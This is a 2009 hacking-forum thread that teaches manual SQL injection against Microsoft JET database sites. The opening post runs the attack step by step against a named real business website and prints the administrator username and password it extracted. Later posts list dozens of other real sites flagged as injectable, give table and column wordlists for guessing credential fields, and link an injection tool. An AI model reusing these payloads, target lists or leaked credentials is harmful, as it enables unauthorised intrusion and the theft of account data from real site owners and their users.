We Are DevilzCrew
 
IndeksPendaftaranLogin

Share | 
 

 Manually Inject - Jet Databese Error Site

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
kopele
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 07.07.09

PostSubyek: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 12:46 am

Hello i make small but good tuto , very easy to learn. Smile
Code:

=================================================
MANUALLY INJECT JET DATABASE ERROR BASED SITE
=================================================
http://www.thedalesmangroup.co.uk/productlist.asp?id=1'

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'ID = 1''.

/productlist.asp, line 7
=================================================
http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0+from+users

Microsoft JET Database Engine error '80040e37'

The Microsoft Jet database engine cannot find the input table or query 'users'. Make sure it exists and that its name is spelled correctly.

/productlist.asp, line 7
-------------------------------------------------------------------------------------------------------------
NOTE:cannot find the input table or query 'users'  !!!!
==================================================
http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0+from+tbladmin

Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

/productlist.asp, line 7
---------------------------------------------------------------------------------------------------------------
NOTE:The number of columns.....do not match.  !!!!
===================================================
http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12+from+tbladmin

1

3
Click here to read more.
----------------------------------------------------------------------------------------------------------------
NOTE: Visible  = 1 & 2  !!!!
===================================================
http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0,username,2,password,4,5,6,7,8,9,10,11,12+from+tbladmin

Username:Fliss

Pass:taste2
=================================================
Admin Finder:

http://www.thedalesmangroup.co.uk/

Scanning. . . . .

http://www.thedalesmangroup.co.uk/admin ------------> TRUE  (200  OK)
END
FINISH
=================================================
Kembali Ke Atas Go down
gunslinger_
Asisten LAB
Asisten LAB


Jumlah posting : 184
Join date : 15.05.09
Age : 24
Lokasi : mars

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 1:08 am

nice opa...
thanks fo sharing....
need guidance from you...
Smile
Kembali Ke Atas Go down
kopele
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 07.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 1:29 am

Some link for practis and remeber you need to fuzz tables and see

"The number of columns in the two selected tables or queries of a union query do not match."
------
If yo see this
"cannot find the input table or query "
That means this table not exist.

Code:

Blackle Dork: inurl:productlist.asp?id=

Wed Jul  8 07:59:18 2009

Result:

http://www.euelec.com/en/productList.asp?action=fl&anclassid=61&nclassid=609' --> JET Database Error !
http://www.leisure-lynx.com/products/productlist.asp?cat=MIDI%20Leads%20and%20Accessories' --> JET Database Error !
http://www.euelec.com/en/productList.asp?action=fl&anclassid=61&nclassid=607' --> JET Database Error !
http://www.fshy.net.cn/wap/ProductList.asp?ID=8' --> JET Database Error !
http://www.fshy.net.cn/wap/ProductList.asp?ID=11' --> JET Database Error !
http://247coaching.com/store/productlist.asp?id=14' --> JET Database Error !
http://www.aowangkailai.com/english/productlist.asp?id=45' --> JET Database Error !
http://www.aowangkailai.com/english/productlist.asp?id=44' --> JET Database Error !
http://www.e-fwt.com/en/Productlist.asp?ID=Z1PS4PQ451' --> JET Database Error !
http://www.feibike.com/ProductList.asp?ID=89' --> JET Database Error !
http://www.feibike.com/ProductList.asp?ID=90' --> JET Database Error !
http://www.y-free.com.cn/productlist.asp?id=84' --> JET Database Error !
http://www.y-free.com.cn/productlist.asp?id=83' --> JET Database Error !
http://www.spiritushk.com/Productlist.asp?ID=6R2P6T79YW' --> JET Database Error !
http://www.e-fwt.com/en/Productlist.asp?ID=5U46U2W346' --> JET Database Error !
http://www.nkhecheng.cn/eng/productList.asp?id=6&sort_id=80&nsort_id=317' --> JET Database Error !
http://www.welldonepcb.com/productlist.asp?ID=W8PQ7ZZ534' --> JET Database Error !
http://www.keep-trade.com/ProductList.asp?id=92' --> JET Database Error !
http://www.keep-trade.com/ProductList.asp?id=80' --> JET Database Error !
http://www.keep-trade.com/ProductList.asp?id=88' --> JET Database Error !
http://www.nkhecheng.com/eng/productList.asp?id=3&sort_id=136&nsort_id=518' --> JET Database Error !
http://www.chinabeihai.com/productlist.asp?ID=YVRQTXQZ73' --> JET Database Error !
http://www.wxjxpack.com/english/productlist.asp?id=90' --> JET Database Error !
http://www.prestige-supplies.com/productlist.asp?id=115' --> JET Database Error !
http://www.niceda.com.cn/productlist.asp?id=193&sortid=231' --> JET Database Error !
http://www.bauergroup.com.cn/en/productlist.asp?id=1479' --> JET Database Error !
http://www.machine2000.com/Productlist.asp?ID=TRU4T98PY3' --> JET Database Error !
http://www.no3china.com/en/productlist.asp?ID=XQX7658250' --> JET Database Error !
http://www.bauergroup.com.cn/en/productlist.asp?id=1463' --> JET Database Error !
http://www.new-green.com/en/Productlist.asp?ID=1Y7Z8759S6' --> JET Database Error !
http://www.welldonepcb.com/productlist.asp?ID=SS9S1Z005W' --> JET Database Error !
http://www.wwydeast.com/productlist.asp?ID=W6QQU1QY1V' --> JET Database Error !
http://www.prestige-supplies.com/productlist.asp?id=113&subcat=17' --> JET Database Error !
http://www.machine2008.com/Productlist.asp?ID=59V288577T' --> JET Database Error !
http://cntiebao.com/productlist.asp?id=298' --> JET Database Error !
http://www.wxguangyuan.cn/TEMP/ProductList.asp?ID=82' --> JET Database Error !
http://www.jiujing.biz/En/productlist.asp?id=176' --> JET Database Error !
http://www.spiritus-gift.com/Productlist.asp?ID=090233U9S0' --> JET Database Error !
http://www.xlsoft.com.cn/productList.asp?id=21' --> JET Database Error !
http://www.zlxstationery.com/en/productlist.asp?ID=W804T7944R' --> JET Database Error !
http://hkcydz.com/Productlist.asp?ID=13YP2U6PT4' --> JET Database Error !
http://www.szchangji.com/Productlist.asp?ID=68Y4ZXQSR7' --> JET Database Error !
http://www.szzhuotai.com/productlist.asp?ID=34PZTPR3X6' --> JET Database Error !
http://www.dy-make.com/en/productlist.asp?ID=ZS6Z6U3QWR' --> JET Database Error !
http://www.cl39.com/en/productlist.asp?ID=Q5W9YV9Q8S' --> JET Database Error !
http://www.jinbo-china.com/productlist.asp?ID=5S15577VS1' --> JET Database Error !
http://www.smilemould.com/en/productlist.asp?ID=YZ898TQX46' --> JET Database Error !
http://www.ckingfurniture.com/productlist.asp?ID=991382967Y' --> JET Database Error !
http://www.szxinyiyuan-art.com/productlist.asp?ID=93RVRP37Y3' --> JET Database Error !
http://www.uzoutech.com/productlist.asp?ID=0XQ6V41T40' --> JET Database Error !
http://woerze.com/en/Productlist.asp?ID=WR8RP0X52W' --> JET Database Error !
http://www.aopujc.com.cn/en/productlist.asp?ID=16QYZ5S58V' --> JET Database Error !
http://www.xlsoft.com.cn/productList.asp?action=1&id=15' --> JET Database Error !
http://etk-stationery.com/polybin-new/productlist.asp?page=40&cateid=8' --> JET Database Error !
http://www.szhongshan.com/productlist.asp?id=1292' --> JET Database Error !
http://www.baixinsz.com/Productlist.asp?ID=R3S57S3X7T' --> JET Database Error !
http://xinhao.com.cn/productlist.asp?id=46' --> JET Database Error !
http://www.hx199.com/productlist.asp?id=34SXZR63Q8' --> JET Database Error !

Kembali Ke Atas Go down
gunslinger_
Asisten LAB
Asisten LAB


Jumlah posting : 184
Join date : 15.05.09
Age : 24
Lokasi : mars

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 1:33 am

thanks for guidance...
Smile
Kembali Ke Atas Go down
ivonck
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 08.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:10 am

wow Microsoft JET that great... by the way for the table and the colom we must search by manual or have another methode ?
Kembali Ke Atas Go down
kopele
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 07.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:24 am

Manual bro or you can make script to fuzz them
Kembali Ke Atas Go down
ivonck
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 08.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:27 am

ok i have try with perl script.. maybe my table list no complate..
Kembali Ke Atas Go down
kopele
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 07.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:36 am

tablename
=======
login
admin
account
useraccount
nguoidung
quanly
quantri
dangnhap
taikhoan
taikhoanquantri
users
logins
admins
accounts
useraccounts
nguoidungs
tbuser
tblogin
tbadmin
tbaccount
tbuseraccount
tbnguoidung
tbluser
tbllogin
tbladmin
tblaccount
tbluseraccount
tblnguoidung
tbusers
tblogins
tbadmins
tbaccounts
tbuseraccounts
tbnguoidungs
tblusers
tbllogins
tbladmins
tblaccounts
tbluseraccounts
tblnguoidungs
tb_user
tb_login
tb_admin
tb_account
tb_useraccount
tb_nguoidung
tbl_user
tbl_login
tbl_admin
tbl_account
tbl_useraccount
tbl_nguoidung
tb_users
tb_logins
tb_admins
tb_accounts
tb_useraccounts
tb_nguoidungs
tbl_users
tbl_logins
tbl_admins
tbl_accounts
tbl_useraccounts
tbl_nguoidungs
=======

columnname
=========
username
name
login
loginname
user_name
login_name
id
userid
user_id
tendn
tendangnhap
tenquantri
tenquanly
tennguoidung
ten
tennd
nguoidung
nguoidungid
quantri
quanly
uname
adminname
admin
u_name
uid
u_id
aname
accountname
account_name
email
password
pass
pwd
passwd
matkhau
matma
paswd
pas
userpass
user_pass
user_password
userpwd
user_pwd
user_passwd
pass_word
tukhoa
login_password
login_passwd
login_pass
login_pas
login_pwd
loginpassword
loginpasswd
loginpass
loginpas
loginpwd
code
secret
secret_code
secretcode
=========

You can add more Smile


Terakhir diubah oleh kopele tanggal Wed Jul 08, 2009 3:57 am, total 1 kali diubah
Kembali Ke Atas Go down
ivonck
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 08.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:39 am

wow thaks bro.. i have get the table now

http://www.thedalesmangroup.co.uk/productlist.asp?id=1 union select 1 from tbladmin " having 1=1--
Kembali Ke Atas Go down
kopele
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 07.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 3:54 am

nice i have tool caled

JetSQL_injection_2.5+Code

but im not used

im uploadet to my rapid

http://i27.tinypic.com/9ar8nl.jpg

http://i39.tinypic.com/fvfiw4.jpg

rapidshare.com JetSQL_injection_2.5_Code.rar

you have the version 1.0 and 2.0 inside

but is windowz gui and have 2 text for table and colums

i like the script and all my scanners is in perl Smile
Kembali Ke Atas Go down
ivonck
Pengunjung
Pengunjung


Jumlah posting : 9
Join date : 08.07.09

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 4:28 am

Okay.. thanks for the tools i have use that bro..
Kembali Ke Atas Go down
gunslinger_
Asisten LAB
Asisten LAB


Jumlah posting : 184
Join date : 15.05.09
Age : 24
Lokasi : mars

PostSubyek: Re: Manually Inject - Jet Databese Error Site   Wed Jul 08, 2009 9:55 am

kopele wrote:
tablename
=======
login
admin
account
useraccount
nguoidung
quanly
quantri
dangnhap
taikhoan
taikhoanquantri
users
logins
admins
accounts
useraccounts
nguoidungs
tbuser
tblogin
tbadmin
tbaccount
tbuseraccount
tbnguoidung
tbluser
tbllogin
tbladmin
tblaccount
tbluseraccount
tblnguoidung
tbusers
tblogins
tbadmins
tbaccounts
tbuseraccounts
tbnguoidungs
tblusers
tbllogins
tbladmins
tblaccounts
tbluseraccounts
tblnguoidungs
tb_user
tb_login
tb_admin
tb_account
tb_useraccount
tb_nguoidung
tbl_user
tbl_login
tbl_admin
tbl_account
tbl_useraccount
tbl_nguoidung
tb_users
tb_logins
tb_admins
tb_accounts
tb_useraccounts
tb_nguoidungs
tbl_users
tbl_logins
tbl_admins
tbl_accounts
tbl_useraccounts
tbl_nguoidungs
=======

columnname
=========
username
name
login
loginname
user_name
login_name
id
userid
user_id
tendn
tendangnhap
tenquantri
tenquanly
tennguoidung
ten
tennd
nguoidung
nguoidungid
quantri
quanly
uname
adminname
admin
u_name
uid
u_id
aname
accountname
account_name
email
password
pass
pwd
passwd
matkhau
matma
paswd
pas
userpass
user_pass
user_password
userpwd
user_pwd
user_passwd
pass_word
tukhoa
login_password
login_passwd
login_pass
login_pas
login_pwd
loginpassword
loginpasswd
loginpass
loginpas
loginpwd
code
secret
secret_code
secretcode
=========

You can add more Smile

nice for fuzz...
Cool Cool Cool Cool Cool Cool
i like it opa...
lol! lol! lol! lol! lol!
i very like tools from perl, like you...
study study study study study study
Kembali Ke Atas Go down
Sponsored content




PostSubyek: Re: Manually Inject - Jet Databese Error Site   

Kembali Ke Atas Go down
 
Manually Inject - Jet Databese Error Site
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» (ASK) speedo koso rx2 sering error?
» ninja 250R karbu VS ninja 250 inject
» mintol lagi dong!
» ninja nggak bisa ganti sein aftermarket
» Tips buat BRT IMAX superpro

Permissions in this forum:Anda tidak dapat menjawab topik
Devilzc0de TeaM :: Computer :: Attacking-Web-
Navigasi: